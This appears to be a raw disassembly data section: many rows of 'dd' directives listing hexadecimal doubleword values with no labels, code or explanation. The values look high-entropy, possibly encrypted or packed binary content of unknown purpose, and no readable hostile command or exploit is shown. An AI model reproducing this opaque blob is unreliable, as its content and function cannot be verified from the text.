		dd 210C8C92h, 36408346h, 0AD135ED5h, 43B7C42Fh,	0FE4ADDE9h
		dd 0B722D817h, 675CE01Eh, 30902E7Fh, 0D66B02A7h, 4F611FE1h
		dd 0E0123A59h, 0D2B852A9h
		dd 0BD950912h, 412A9DABh, 7B61F917h, 0EAE0C0B6h, 0DF04F6ACh
		dd 0F8F19AF2h, 0A25CE7EAh, 2D8ACC15h, 1277ADD0h, 98645FEAh
		dd 4F8A3A05h, 9BEFFD2Eh, 4BDE5366h, 0E772EB00h,	1E4B396Dh
		dd 9887CCEh, 0C3595B6Eh, 1373B46h, 0D79E7EBFh, 6A4CE953h
		dd 67C4279Eh, 30CDAB3Dh, 34ECD055h, 13F8E8D7h, 3AAA1E93h
		dd 959DF0BAh, 0F9D69531h, 8ACA7D69h, 0C4518F56h, 0B14DB76Bh
		dd 52FF973h, 2C097496h,	34F95DAh, 0E9A480B7h, 0DCA9921Dh
		dd 14499D82h, 0D77DBA57h, 0AB9536C6h, 543DFF27h, 4E53339Fh
		dd 0F82F88ACh, 0B1F59B5Dh, 0B93A1591h, 603FB93Dh, 0B6114EBFh
		dd 56768301h, 57507A77h, 9CFB72Eh, 7C5F2896h, 64FE4540h
		dd 45E2EE89h, 3ABBCD4Ah, 5E0A49C2h, 4DBE816h, 0BAB90BC7h
		dd 0F6A4ACB6h, 20B10FCFh, 1CF7C0B9h, 9536396Ah,	6760E656h
		dd 9570081Fh, 9D0E2B73h, 3C91005h, 0F8B0137Dh, 0B5084D95h
		dd 0B67E3AFCh, 0D2C8DFh, 0B051D9A5h, 1B25CA01h,	55D11A72h
		dd 5527F2D9h, 0EC278035h, 554B012Dh, 0FC6163Ch,	0C1BC7E8Ah
		dd 0A98D31A0h, 6EAB214Eh, 9C995B86h, 278608FCh,	326D6A56h
		dd 8E9B8E4h, 2E8C14ACh,	0CB79F899h, 0E3990E66h,	57095283h
		dd 7E1AD042h, 23F1123Ch, 7388BEB6h, 41F09D60h, 252ED895h
		dd 0DE68FC43h, 7925BD33h, 0DEF4FE1Ch, 0DD071C46h, 0D0BD9B4Dh
		dd 0DC18337h, 0D5FB8B25h, 3227F3B5h, 86E65749h,	5D56EC12h
		dd 0A9EBB20Fh, 448F7180h, 0EC19E930h, 6D6B041Ah, 0BAE25A75h
		dd 0D92727A8h, 0DA557370h, 0F80C939Bh, 0D2C0DFFFh, 4FDBA3BBh
		dd 67AD6EFDh, 0CE313E20h, 0E380AAF8h, 529F4505h, 5DC1982Fh
		dd 2AA2A211h, 0AFD396E3h, 0F3800430h, 0B78FF262h, 9001D494h
		dd 81207C2h, 0E62A5FE9h, 3BD490ABh, 1897FBCBh, 120DBF3Bh
		dd 0E17FDC0Bh, 0BD813B35h, 5B00221Dh, 0CF95BBB7h, 601764F0h
		dd 120D4BD6h, 0AE5DE930h, 14ADBE13h, 1E1385B8h,	0F1BD7912h
		dd 8BC6814Fh, 0D2285AC1h, 1D6D2F9h, 15B7CB88h, 73332E13h
		dd 3DC5B529h, 84B66BFh,	2FBBFE78h, 2FDF3A78h, 0FA72B589h
		dd 279B6A4Eh, 6F01CFC2h, 38324DDh, 2F4CF50Dh, 832B4BA0h
		dd 2A62D00Fh, 0D556EB17h, 8B547E3Ah, 0A94B17DCh, 80F25Ch
		dd 29DFB3B0h, 5F34986Fh, 25A791CEh, 31ED2F06h, 0B1F897ECh
		dd 4E41E50Ah, 2717CD09h, 5ACC2DAAh, 1808C14Eh, 6730F445h
		dd 0A75A14CEh, 5527A549h, 0CD52C654h, 0D7BFE080h, 140220F6h
		dd 0FFD46B23h, 0F9F2E0D1h, 50C7952Ah, 0BD2EF825h, 0AC789E53h
		dd 0E55F00BDh, 5063E46Fh, 6A2C2BCCh, 62DE8102h,	11DDAC3Ch
		dd 6348F509h, 24AC0BFh,	4C6EEBh, 0D20EEF58h, 1327205Fh
		dd 536FC1D5h, 0F9B160F0h, 599523E9h, 856CC4F0h,	0CA6FAB66h
		dd 3476E100h, 6972C5DCh, 0F01F66E9h, 1F1B49D7h,	672861CBh
		dd 0E13D4664h, 8B89BC83h, 555F6ABCh, 32CD4938h,	0D1797F82h
		dd 5DF8BF89h, 0EF5B9E04h, 25BDE1A4h, 165509C5h,	64E78DF0h
		dd 836EAEEDh, 50011723h, 511D0938h, 93B6C76Fh, 0B65A893Dh
		dd 0AD3AC489h, 0BC71B11Ah, 0ABB1342Bh, 59320909h, 0C11B1h
		dd 0F37CC71Fh, 5B52740h, 0EE836E95h, 1DA081F7h,	0B07A6F03h
		dd 2238E300h, 61E1405Dh, 41B0B095h, 31608201h, 297B0FEh
		dd 1316114h, 312970E6h,	0E4CD11B7h, 2A497571h, 121AF44h
		dd 1359B542h, 2F94F11Ah, 75F054B0h, 0FBF88F13h,	7BB722C8h
		dd 7FAB0044h, 0B6475734h, 0D212D1A9h, 1AB35B38h, 72F38101h
		dd 2B43EE21h, 195DA30h,	60738424h, 9D7DB526h, 7080B97h
		dd 0B061121Ch, 576260E8h, 5233936h, 2D1AC15Ah, 0E427B22Bh
		dd 1F256D9h, 0A90EC4BFh, 0F5042B0Bh, 603149BDh,	35E67E53h
		dd 81B5387Eh, 90E94B62h, 98423AF6h, 0B9560B92h,	50524909h
		dd 0E25F4A57h, 5C51068h, 0CEA2D6h, 438B542Fh, 2C3A1E1Dh
		dd 56AB3AAh, 0D4330585h, 5DDCFF66h, 919D4F03h, 2F4CE979h
		dd 3F753C8Ah, 3F042FC7h, 0B8FD8A21h, 2910D808h,	1A5D2DB5h
		dd 27113C7Bh, 2A6C7E6Dh, 578CE8A2h, 1B5BD9CAh, 7A02CD89h
		dd 4847E51h, 0AD5B07B4h, 0AA2184FDh, 9DEA4213h,	3A573419h
		dd 0C9BD984Fh, 48C20003h, 0CB0BFB50h, 95F4A671h, 60B08A00h
		dd 9EB91A29h, 0F2A4B710h, 0AB09949Dh, 9412407Bh, 80AAF8A8h
		dd 0EE7C74E5h, 7A1A353Ah, 0FC9D23F4h, 0D6C7E60Bh, 0E1B32ADCh
		dd 21A9B893h, 270067F8h, 0E72C2AB2h, 25A8BDB7h,	0F2E6BAB8h
		dd 7B2FF12Dh, 12576A50h, 7970AA17h, 4025B33h, 64F0DDFBh
		dd 14F4BB10h, 0B37F0C06h, 0E3D25F57h, 0D55EA625h, 6EDFC691h
		dd 1523766Bh, 25E9509h,	0F760DE85h, 0D64C116Ch,	1C61C091h
		dd 4F903AEh, 0D0B911DBh, 0CBF08735h, 447B4DDFh,	7DDDA61Ch
		dd 7ECC88C0h, 9A18EFEh,	2AA5BD23h, 49FE47D5h, 785082DBh
		dd 0A6011774h, 0BF158419h, 9B007F6Eh, 41669E13h, 0C65AAEC9h
		dd 2FF73DFEh, 8CB6A104h, 0BA94594h, 4205F6E8h, 645213AFh
		dd 0B56698AAh, 0A119DD20h, 898211BBh, 0D98AE1FFh, 0E25E5155h
		dd 365CDFB3h, 57FE6051h, 764033EFh, 5FCB51Ch, 0B53F288h
		dd 6857EABDh, 0F46428FFh, 27F6A4B6h, 6FDE0F2Fh,	0EB81D9E0h
		dd 0C53213BCh, 536FAB2Eh, 0AC97F400h, 2ED02C8Dh, 0D78B7827h
		dd 27AACDA8h, 0F4643360h, 53500497h, 3BDB9C1h, 11FEEBADh
		dd 7F3B5AE1h, 126ADAE4h, 0E4D6F77Bh, 15F8F15h, 0A5092B7Ah
		dd 0FA5F8B7Bh, 6CBF047Ch, 0A8348E80h, 8D31C498h, 6B61F1EBh
		dd 18A8BAEDh, 0C610C2E1h, 2F2804BCh, 0BEEEB3C8h, 0B10176B2h
		dd 3EFA4476h, 7AF36E5Bh, 7330FF4Eh, 4819055h, 3422E8DBh
		dd 37DEBA0Bh, 0B93D019Ch, 0DCE248B4h, 2F5AE3DBh, 0AE4BCEE2h
		dd 314328h, 8866E7F5h, 5B50588Ch, 827B683Fh, 8B519B78h
		dd 424855F9h, 0A627A584h, 70455B64h, 0F909955Eh, 617BB7B5h
		dd 0ED6F15C9h, 517DB961h, 0E620618Eh, 2B12D040h, 0A31B3597h
		dd 0C1E980A2h, 317B9C3Bh, 30A76E09h, 491802D5h,	5F000924h
		dd 3E60C458h, 1CCE912h,	7F3E7ABAh, 0DF2FF502h, 200BE875h
		dd 436693Ch, 88C9A300h,	7F3FCB19h, 70BF0253h, 5B315A06h
		dd 2D79D1F7h, 1CF3755h,	9F2F35EBh, 0FAFC309Ch, 0EF740B97h
		dd 0A2E16084h, 994A8531h, 81570800h, 25F2CEF3h,	3733695h
		dd 7311B709h, 1814599Bh, 0F1894F69h, 0CEE22B60h, 5D850904h
		dd 0B128AB0Ch, 5B70958Ah, 0A52BE523h, 0C601CC35h, 96610537h
		dd 0FC6813Fh, 85526A8Eh, 80DFFFA0h, 8BBD05B3h, 707973B0h
		dd 99029C21h, 0FF3EF380h, 1053DDB5h, 1D63D8h, 3DC193FEh
		dd 0C7814B30h, 4FF21F01h, 0D3CF6818h, 9BFFFC4h,	7E943432h
		dd 2C30FD26h, 75302EE1h, 5A296052h, 804AB595h, 781E334Ah
		dd 5E5F611Fh, 17AFC850h, 0CB8BBC00h, 735290F1h,	74C00108h
		dd 0CD6E37A9h, 80C32CDFh, 6A767FDDh, 1FBA002Fh,	3AF38E60h
		dd 5F4E27ADh, 0EF093FE2h, 0A798A321h, 510E801Ch, 0A97AE739h
		dd 0DF2AB20Fh, 0CD2556EDh, 0B7D4B79h, 6956549Eh, 14465551h
		dd 1298B433h, 8155D0E9h, 79014CDFh, 0BD897891h,	0B32A21B5h
		dd 8917BAEEh, 29DD58Dh,	39B998EAh, 4577F1D7h, 80AA42F2h
		dd 9096A9DBh, 0F303E22Fh, 3B5BD028h, 0D4979E71h, 0EE8BAD0Ah
		dd 73F69E5Eh, 32C004F9h, 0EE894E0Fh, 30EB0C34h,	502B9606h
		dd 0A1182400h, 0C3F95BA0h, 0DACF3AF8h, 1EC69325h, 6F2D10A1h
		dd 0FB90A6F2h, 0EFDE453Eh, 25D7FC28h, 0B0591423h, 5F9DBD09h
		dd 79A692CEh, 9802527Fh
		dd 96AD8303h, 8E816BBBh, 20729083h, 615A0975h, 757FFEh
		dd 4E216038h, 4FA18D8Bh, 2DDEC883h, 8E2ECE0Bh, 60B5D611h
		dd 5684B1BEh, 6A98A515h, 0EEBF8082h, 0B568ABB2h, 8DFE73CCh
		dd 0F8892742h, 604FEC66h, 5156C436h, 95D878E9h,	0C87F8A35h
		dd 0E1C9BD37h, 0C2FD242Bh, 0B58954Dh, 64494D95h, 0E13C6016h
		dd 77FBBF05h, 0C0D1FC5Ah, 2A15F094h, 0AF45550Ch, 0BFA5B8DCh
		dd 83B7942Bh, 29763B81h, 9E552585h, 0A085CABFh,	136F6A36h
		dd 59CB313h, 0BE0B6107h, 0ADE4A4B6h, 0D5E080AEh, 4D75094h
		dd 2DB4FC61h, 9B08BE7Fh, 0F3DB3E1Ah, 52B7128Fh,	0A3F29353h
		dd 3F1F9F00h, 3E3CBD63h, 0D4DB7601h, 29E9FA21h,	0D43AEDE9h
		dd 0C504A91Ch, 7AEE033Dh, 32F9004Ah, 9EF4BB6Eh,	0CA5C4A1Eh
		dd 0FB5A2DCEh, 6D01D8D5h, 39C0A312h, 60055E01h,	39705A50h
		dd 0C5515F53h, 0C6A4AA55h, 9FD57DCDh, 0B0141E37h, 0C00538E9h
		dd 0ACC77C80h, 20237496h, 90902FADh, 7105D52Dh,	1BCD696Bh
		dd 0EABAFF49h, 1356845Dh, 0E50FB6BAh, 0EC5BCFE6h, 8E92B4FAh
		dd 0A26E5530h, 210960B0h, 5961EBCFh, 0F75944F1h, 8835B354h
		dd 5A26C949h, 0E0DD27E3h, 911DBCB1h, 5D0BD525h,	0E9ED24A0h
		dd 52042257h, 0E72695BDh, 4D2F6BBh, 5B9682C3h, 0EAD633B8h
		dd 11756204h, 3770F949h, 972D9E95h, 0A11F4C35h,	10AB98C0h
		dd 0B0AC7DDh, 0F3DCE93Bh, 8BDAD560h, 25BEC15Eh,	5120FBCEh
		dd 703BAABCh, 8C01AD0Ah, 0C5E981E9h, 70913F09h,	87FC8019h
		dd 1C2EDA28h, 0A47ED1h,	0CF7B88E7h, 37700B32h, 0BA57031Ch
		dd 0CA27CD80h, 4AF89A67h, 7383BB1Fh, 0A756F0F7h, 0B9ED58B5h
		dd 0AFFC6512h, 3DEEB4h,	0F9501C99h, 0C637C2Ah, 3F4DF500h
		dd 0C1AF57AEh, 13B70048h, 0BFABDC65h, 1805C243h, 0ED8D90FFh
		dd 0A63EA8C0h, 82930042h, 4E2D06FAh, 0C800A5D3h, 0C25FB24Bh
		dd 0F55420h, 96F7852Bh,	0D9CE88Ch, 3E4AF403h, 1EAEB7Dh
		dd 0AEF9443Bh, 0C9F13119h, 17CDC87h, 0A38FC014h, 0ABBBC369h
		dd 0B537002Fh, 57B6C26Ch, 580024CEh, 203C165Fh,	1EF5BCCh
		dd 0F78B299Bh, 2F9746D0h, 7E9451h, 90ED9B3Bh, 60196913h
		dd 58CF55DEh, 7507E4F2h, 0FD7804AAh, 474123h, 50B8F54Bh
		dd 0F90576A1h, 0C73C3F09h, 4A96F2A7h, 9BC0BB42h, 0FEC55E29h
		dd 1DD5E69Ah, 8035A749h, 0B05AABAFh, 2A01A9C4h,	6B19C343h
		dd 0EDDC930Eh, 0C0FAFC9Bh, 0C89F484h, 2C003B60h, 264331D1h
		dd 2441C2ADh, 8103EF9Dh, 10702D74h, 23FF887h, 0A69FA23Ah
		dd 0FA00646Dh, 95FB65B8h, 526F6164h, 21FC7BC2h,	1563FC29h
		dd 5EDD580Fh, 29BF4381h, 0F2771A8h, 52D3BE37h, 0ABE84F24h
		dd 0A20AFBEDh, 83918F4Eh, 0B6D15229h, 85C71DFDh, 4041C3CFh
		dd 0E66715A6h, 901771Fh, 5482E85Bh, 3B80BD3Ch, 3A5201Bh
		dd 0EB982E04h, 0CD46F000h, 58B965A2h, 863001F1h, 8544DB35h
		dd 0CF630FCh, 64E59703h, 0F3A4CC9Eh, 9348079Fh,	0E041C1A8h
		dd 63118CE9h, 0F1590E02h, 82943F99h, 0AF7A70D4h, 4D18F0CAh
		dd 4621C6ADh, 34A6C160h, 32DC25h, 0B950D6B1h, 0A23FA075h
		dd 0C0030A73h, 6EC46DB4h, 0A380E4B2h, 9442C1h, 0E69D61E8h
		dd 1B620CD0h, 60884104h, 1D908471h, 0EA72F16Ch,	0D57F0087h
		dd 29E026A7h, 10008C70h, 45C00825h, 7281F37h, 0F2A72A42h
		dd 5AD0A398h, 52D9B411h, 0BD7829h, 0ED4EF00Dh, 0F805A462h
		dd 38B9CF8Ch, 0A796A740h, 0C1AB28h, 76B2988Bh, 8DE405B1h
		dd 0EE02BF0Ch, 14929EFh, 0D1671F2h, 484B1B69h, 0A0015E4h
		dd 72B11864h, 3BDB8C4h,	0DBA955D2h, 39A83D4Ah, 6126CD3h
		dd 7F4932B2h, 0FA75115Fh, 2DA65200h, 18C44200h,	7A24FD6Ch
		dd 0F831000Eh, 0DA909692h, 6FC047B6h, 30F39AE1h, 83FE008Ah
		dd 3886EB04h, 90067D4h,	5A21B19Fh, 37EF768h, 0AA0FAFC1h
		dd 14FB0CE8h, 7620E1D8h, 0EF369900h, 9C6BF647h,	77503EEh
		dd 0E8DB787Fh, 12A82B83h, 67000F16h, 589BF58Ah,	308B180Ah
		dd 53DC36EEh, 70012ABh,	4C2957FDh, 24A5D7h, 0F4735DDh
		dd 2FF63218h, 0AF6A8700h, 0D6E5FC3Dh, 0F56E6052h, 2D21BFF7h
		dd 48C7580Fh, 360E038h,	19E459BBh, 0B098508Ch, 1FFE2A46h
		dd 61DA0090h, 34962BF6h, 0E0CEB904h, 0DD847FF7h, 99F06F80h
		dd 5DDE0088h, 4648BE03h, 0F200A140h, 0CF5194A2h, 0F6D54Eh
		dd 0E07C66Fh, 2D3CBB2Bh, 205DD4F5h, 0E74AA300h,	8108741Eh
		dd 88E80180h, 38BA9FF8h, 7C7DF48Ch, 0DAE072B0h,	98E4631Fh
		dd 93E34FC9h, 0FC1D0F60h, 9C400B4Dh, 291449E2h,	44DDAC00h
		dd 4ABA7D9Ah, 2782A0E6h, 0C202E154h, 0CB2A2D45h, 0E42D08EFh
		dd 3C9CFADBh, 0D303C91Fh, 0B78634BDh, 0DD5D89BCh, 305EE97Fh
		dd 4007135Fh, 95B6F8A3h, 46E7370h, 0C05170B7h, 93FEB43Ah
		dd 7704EC8Eh, 0BA68BF2Ah, 0A3F0D281h, 0E4B9383h, 8301FBFAh
		dd 0A6DE655h, 0DB404F6Fh, 2C62DB56h, 3292DF7h, 6CEB8F90h
		dd 0A6264AC0h, 9180764Bh, 7DE4F3Dh, 331E9F47h, 30C9F0F0h
		dd 9E0E48D9h, 94F882D2h, 0E4030097h, 0D7066AA7h, 7112C19Fh
		dd 805B9A0Ah, 769360Fh,	195CB19h, 0DB582378h, 3292C0AAh
		dd 0A3CA0508h, 0E500B963h, 0B0CD2AD4h, 0DC1D1873h, 3D7A4218h
		dd 0FC3AB7Ch, 903AB984h, 1AE12ACh, 1181FB0Dh, 34C90AF7h
		dd 0D4007E33h, 0EC468FA8h, 0F3CA03Eh, 4AD742FFh, 4FA52B60h
		dd 19B8CC5Ah, 0AB783Fh,	227FF471h, 9081BE5Bh, 6FE414D1h
		dd 0E84C9808h, 8BC23800h, 0B18C0CE5h, 8998C300h, 3AE22278h
		dd 0B433004Eh, 0D7A54BD5h, 0B7F2199Ah, 7624E314h, 17F000B9h
		dd 7CC169B8h, 2FE9031Ch, 51B6B499h, 0CBD8A40Bh,	0EF3F0010h
		dd 730F05Ah, 65F449F1h,	0E984709Eh, 3C00936Ch, 0ECED03E5h
		dd 2414BE11h, 9571F34Ah, 2B0FE57Dh, 856B9D65h, 0A01F4F07h
		dd 9F9C9BE1h, 0CD3DB078h, 0F7330048h, 2837842Eh, 412F00DBh
		dd 0E34EAF24h, 8F749422h, 5DD89501h, 8C4DA3E0h,	532A6D81h
		dd 299CAAD2h, 5F45250Ch, 57D817C5h, 81E71089h, 0EF949DC7h
		dd 3C870106h, 1C895C24h, 0E6D056D1h, 10C65081h,	33EE7683h
		dd 0C273487h, 0BCDA68A1h, 553E67AFh, 91376390h,	5E809D38h
		dd 1BA66245h, 603C176h,	9CFCBE56h, 0F531B064h, 0E989065Eh
		dd 408B545Dh, 4C48303h,	636C9868h, 2C816657h, 28175DF0h
		dd 478F5414h, 0A0668C9h, 5F96FF19h, 0C8B418Ah, 30B45B61h
		dd 484354E9h, 53014BFBh, 0D1E50125h, 0FD06E0D6h, 2507B848h
		dd 1AC85F17h, 7A0058FCh, 5561CC3Fh, 2A3722h, 453B3A99h
		dd 0F0FA71A2h, 6B697A00h, 8D1B538Ch, 4BDA0017h,	4C924181h
		dd 4A7AD3CFh, 932B6D01h, 7331512Fh, 38C560C2h, 0F8D51D7Bh
		dd 50C8C232h, 9F741945h, 0FBBB6740h, 0ACF512F4h, 0D54502EBh
		dd 8555E95Dh, 0E904D8F8h, 0F9167264h, 44394AFh,	0C9330BE6h
		dd 7A007DB2h, 2BAE147Dh, 9EA15B88h, 7EF12A39h, 5CC24C81h
		dd 0E578636Fh, 82F9CDBEh, 8A488514h, 16F157h, 4D765882h
		dd 4105A9C6h, 20C8D92Ah, 0A0303886h, 9F5870C4h,	769737E4h
		dd 0D08B5182h, 14128958h, 30FE600Fh, 991E9A3Dh,	40D8C317h
		dd 6A0B8DEEh, 0CE8F58EDh, 94FBB840h, 810043FAh,	475E99E9h
		dd 0B9820F02h, 0C1C63118h, 0BB1B9395h, 374FFF07h, 8E58A4BFh
		dd 75804DAFh, 0F3E0DF0Ah, 3300CB2Ah, 0B1877009h, 8A6E5h
		dd 86B6D88Ch, 9B785B91h, 76D2A00h, 39DDB3A9h, 64FC71h
		dd 0EEE05C3Bh, 0D705D6BCh
		dd 0A17435B8h, 2A3AEAFCh, 9E1163FDh, 0DE190687h, 58DB99CCh
		dd 0ED00B5F8h, 0E1031022h, 0C0C85CB0h, 0F23DC531h, 565AB913h
		dd 19CCDD0Ch, 48AC630Ah, 0C6C3CE86h, 8FC03018h,	0B04F4139h
		dd 0AC0B31DBh, 0CEC6B9A8h, 0A7F055C3h, 0C8004B60h, 11BCE9AAh
		dd 1E3F27F2h, 0C6ED371Ch, 0B1CFA68Ch, 19B16258h, 0AB20A8A4h
		dd 0BE278017h, 0CD09370Fh, 0FA798D7h, 86D99888h, 0BA9C0C24h
		dd 0F211B56Fh, 0AB026200h, 375F58B1h, 3019DEA2h, 97D4DF08h
		dd 1B0A793Fh, 2250B85Dh, 677CC6E1h, 0C8890F30h,	173EEFDh
		dd 0A15B507Fh, 97B51F8Dh, 84004318h, 0A08CCB59h, 872033A8h
		dd 27E33F08h, 2C14B8F6h, 1C549FABh, 0BA01A911h,	0BB3B8A86h
		dd 771EF080h, 3E73979Ah, 81A76900h, 0CFF93712h,	70800DCh
		dd 51D8B3E2h, 9006F65h,	57EEB127h, 3EFE80F1h, 5380BE67h
		dd 642394B9h, 0CAC0D9FCh, 75D88F43h, 97203C6Ah,	822EA000h
		dd 7DC0FA36h, 1D035190h, 96F7B27Ch, 2609D04Eh, 5CEF00AEh
		dd 298F7EF1h, 85001EE8h, 8732C686h, 0C3D6DBh, 9FA6BCF8h
		dd 0D207B856h, 0E20015EEh, 0AFF1CF98h, 0FDC86Ah, 0B230DE4Dh
		dd 0F05C8C3Fh, 0CB9BCD0Eh, 69007FECh, 1C70FA4Fh, 68A85C81h
		dd 6B3D5A00h, 5B366D11h, 7CEDB826h, 0E95EFD01h,	86F70174h
		dd 0FAAA0068h, 0CB070FB1h, 5B00E8ABh, 46D07F1Ch, 0ED1A4Bh
		dd 9C2F740Ah, 0FAF24C11h, 0CF84CE00h, 99EE9534h, 0BA2300F7h
		dd 4986D20h, 0AD00B91Ch, 7DF0A6CAh, 87699Ch, 0FBB058B3h
		dd 8ECFBA2Bh, 6C3BA90Eh, 3153E032h, 328B6ACh, 0EC5DF8D1h
		dd 0C6B8927Fh, 8D60EE93h, 2E6CDFD8h, 956A020Ch,	0F98BA898h
		dd 0EC2CF8A3h, 513179F8h, 0E6245CF2h, 0B8007158h, 1B23B555h
		dd 0ED300A8h, 33C45164h, 0E600B32Ah, 0BAFFA21Fh, 179B8518h
		dd 98DB05Ah, 0C000A73Dh, 0DAB06D3h, 3005133Fh, 0A5C491F4h
		dd 3B78000Fh, 727E4107h, 0CC92BE18h, 75B2F103h,	0F7ABF604h
		dd 8E192390h, 7CBF0058h, 991F210h, 2B00DE9Ch, 93EB378Dh
		dd 50B3813Ah, 0C29842h,	90A9FACEh, 0F587A8BEh, 0D31F2F07h
		dd 0F050FCC7h, 306F4C44h, 0C1CCE53Eh, 0D10EDD37h, 0C0B7D9AEh
		dd 446E9C14h, 0E60E8E0h, 0AF2852E4h, 8A6A3320h,	5960DF43h
		dd 0DB783CE0h, 76BB01DDh, 28F03187h, 63C7E89Dh,	0D15DE400h
		dd 0CE2FDA18h, 0A27B0134h, 820DF00Eh, 7DD0CC49h, 1D527213h
		dd 45D57440h, 0C0A5C5A4h, 1378FFD9h, 0EB02C7EEh, 0B2B7379h
		dd 0A82C4024h, 7D450F58h, 0DEA06CCFh, 0A919D060h, 47E3D00h
		dd 4E33B28Dh, 0C4DB0059h, 11853728h, 0FC1DA46Ch, 0C7000D35h
		dd 5A18759Ch, 0EDA10AB4h, 0AC8DEFh, 0F6FCF57Bh,	3601D4A5h
		dd 0A8995033h, 0C25D3E8h, 0E6E2E20h, 0FEF783BAh, 435607h
		dd 0DCE8BC8Bh, 69BEC800h, 0B8F94513h, 2C484C44h, 0D6E33300h
		dd 0A2957F76h, 0FC02362h, 0C349C01Bh, 6C0C00D1h, 0D396E551h
		dd 0D900C6F5h, 93919ADEh, 928D7134h, 0CDE60024h, 0E1FFBB33h
		dd 98C41250h, 184088ADh, 29AC6D0Fh, 0EB345D00h,	0B8369F71h
		dd 4E7C016Ch, 0B930913Fh, 83F8E870h, 0C22C760Eh, 469D8018h
		dd 1D2BBE40h, 82B62532h, 4A80E33Fh, 0A01AC080h,	8D7EA83Dh
		dd 644C5601h, 7D375A89h, 0A96920h, 0C96DF9D2h, 44F87E1Fh
		dd 0C3AE0F3h, 96CD6000h, 4FDF5F90h, 0BC5D009Ah,	0B0C52516h
		dd 1400AF1Eh, 9E36CC51h, 4D8593h, 49B86F60h, 31C305ADh
		dd 4FFD9701h, 108643DEh, 199A5F8h, 37723E60h, 0E8240F42h
		dd 18097AA2h, 20356E3Fh, 0B7CF2A2Ch, 3C8828BEh,	1E52F0DDh
		dd 4001C7ECh, 0AAE4FE60h, 221FBCDEh, 0B940CC8Bh, 4F3B5D1Dh
		dd 8997003Ch, 79E3D6D8h, 0E01C5EDFh, 42009B52h,	0A22381B5h
		dd 0C8E8587Bh, 3354350Ch, 0E7009131h, 407917DCh, 7A863Bh
		dd 0AAED5ECBh, 9BF154C4h, 0B7E5D09h, 1CE800B7h,	8ED625h
		dd 492AEE28h, 2D78C2C0h, 222D53Fh, 0EB73E48Fh, 9817E348h
		dd 0A2ACE1h, 3161A4F8h,	45868955h, 9D2A9F00h, 750C7BFCh
		dd 0A9FB00A7h, 6FA951Fh, 700E3D2h, 0DB0E83C1h, 0B1C0EDh
		dd 27EE9101h, 0D776086Dh, 7C434500h, 2524D36Bh,	0D6390BE4h
		dd 930092B2h, 0A448CBDh, 0C50060BAh, 9A8B0846h,	0E89031h
		dd 448945B0h, 2FFE7FD6h, 0B3219600h, 0D0DA3C76h, 6F460009h
		dd 0BC52B8E3h, 6500AB4Fh, 2A263EACh, 26DEF8B2h,	80ECCED5h
		dd 9B80AEE7h, 85F83CD2h, 7FAF4718h, 13DEB11h, 0A2883ECCh
		dd 0C8EFDF2Eh, 0D6008A2Bh, 1C54FC44h, 7628275Fh, 0F2351E8Fh
		dd 0B08C002Eh, 24DC6625h, 0C556D501h, 8EF1B21Eh, 90419545h
		dd 0A32710E8h, 7FD9D8h,	0DDAE6F2Ch, 5041BE0h, 60EA3326h
		dd 0D94AFF80h, 51A1096h, 2A5958A6h, 14FC0080h, 9452098h
		dd 53D89700h, 0A9E46793h, 3AE0081h, 0D9767D30h,	0CA00B728h
		dd 0E299469Ch, 0E63183F6h, 0B2E500BDh, 55481F8Fh, 0D8E68032h
		dd 0E986500h, 3EC53AAh,	579E39B7h, 0C0AB8A89h, 0AD089100h
		dd 5E3A7645h, 0C107FEFFh, 4B19189h, 78A56290h, 837A00D2h
		dd 0E88782D7h, 4200D1CBh, 2E09A861h, 1DDD747Bh,	3FD415D0h
		dd 3889C40Bh, 0E7E3E003h, 185DD9A8h, 0BD361E00h, 0D62C77C2h
		dd 0F4AA0073h, 0D10AD32Fh, 5C006A08h, 94CF79EEh, 0A08B2697h
		dd 1D582493h, 0C046305Dh, 0DB19B071h, 1C007ED3h, 0EAB40450h
		dd 5DE95921h, 6C003092h, 0D03DED9Dh, 1C0B3A42h,	97C6E8h
		dd 0B543FB89h, 11BE003Ch, 0E2BCF714h, 0C30042B1h, 0EB0BA612h
		dd 2A2B7228h, 0E48A41h,	23D139D4h, 0E8738B1Eh, 14ED7904h
		dd 0D890D862h, 0E3DB441h, 0DE13A79Dh, 7E7407A0h, 0DB0561DDh
		dd 39CB7822h, 9E29D880h, 0DCE30048h, 3F06BE2Ah,	41003A12h
		dd 1C6BD6D0h, 26180FC9h, 0B45FADh, 0E9CA6BBh, 670F888Eh
		dd 20753930h, 0FDAAEA5Eh, 6C3F052Ch, 91BA9D23h,	907439DCh
		dd 603EE220h, 0C4243A74h, 0FBBE0F02h, 58B11Eh, 1DA6113Ch
		dd 1204B37h, 0D262F586h, 429C22AAh, 62E31E28h, 310F2030h
		dd 4DC5B3h, 6704C223h, 1B228EF9h, 0EFCBE00h, 0D6861913h
		dd 0A1124FBh, 0BBB5018Ch, 80392FC5h, 0C29EC068h, 0A06D79Ch
		dd 0FAE45A6Ah, 7BDA0099h, 7E168286h, 8EDC5800h,	91E99E3Ah
		dd 0C99800FAh, 1364262Eh, 0AD03D9D5h, 4EE7F91Ch, 6FF3F0C1h
		dd 95DA00CBh, 0E11ABD0h, 3407DD5Dh, 400B28B0h, 39166180h
		dd 21560EC6h, 0C000C987h, 0C515D4CFh, 1F707200h, 544A95E9h
		dd 4F020009h, 0ED17B24Dh, 0CB3CC17Ah, 83E13DC3h, 0BB079A3h
		dd 0C610A84Bh, 0E9420271h, 0E7614364h, 0A1F0A882h, 4818EE8Ah
		dd 109A0E97h, 0BAA3F62Eh, 830E607h, 0F3C8219Dh,	0CFB2039Ah
		dd 1C41CE7Bh, 8CD8F9ABh, 4700652Ah, 20DDB3AEh, 54BFF287h
		dd 0D6C8B9h, 3F3164DFh,	37DBC5D3h, 0CC08CB66h, 1F77221h
		dd 6618CD64h, 2C076D2Dh, 5937073Ch, 97C0088Fh, 63EF5D68h
		dd 0E79618BAh, 44413806h, 0CD80FF47h, 2D391320h, 23BF0608h
		dd 82008A7h, 91DB94D4h,	3F30A228h, 0D80B18F2h, 0A89AB007h
		dd 230C128h, 242AE079h,	36C38ADAh, 21BC0830h, 7928E2h
		dd 98A41B14h, 1E1F0B26h, 0A13C37F8h, 41A781C0h,	0DB89D6B6h
		dd 0EF78981h, 0C860FA4Ah, 5866A5AAh, 121F309h, 7C4A0617h
		dd 0FCA30E20h, 0AD0C7AB0h, 0C9BFC151h, 0B7B90067h, 3CDCB883h
		dd 963E6444h, 0C4034B58h, 0AB2B6Dh, 8D4741D8h, 282267CCh
		dd 880F250Fh, 4900F759h, 0E32CD8EBh, 0EFD00D5h,	0E87AE508h
		dd 3E016117h, 0BBE243D2h
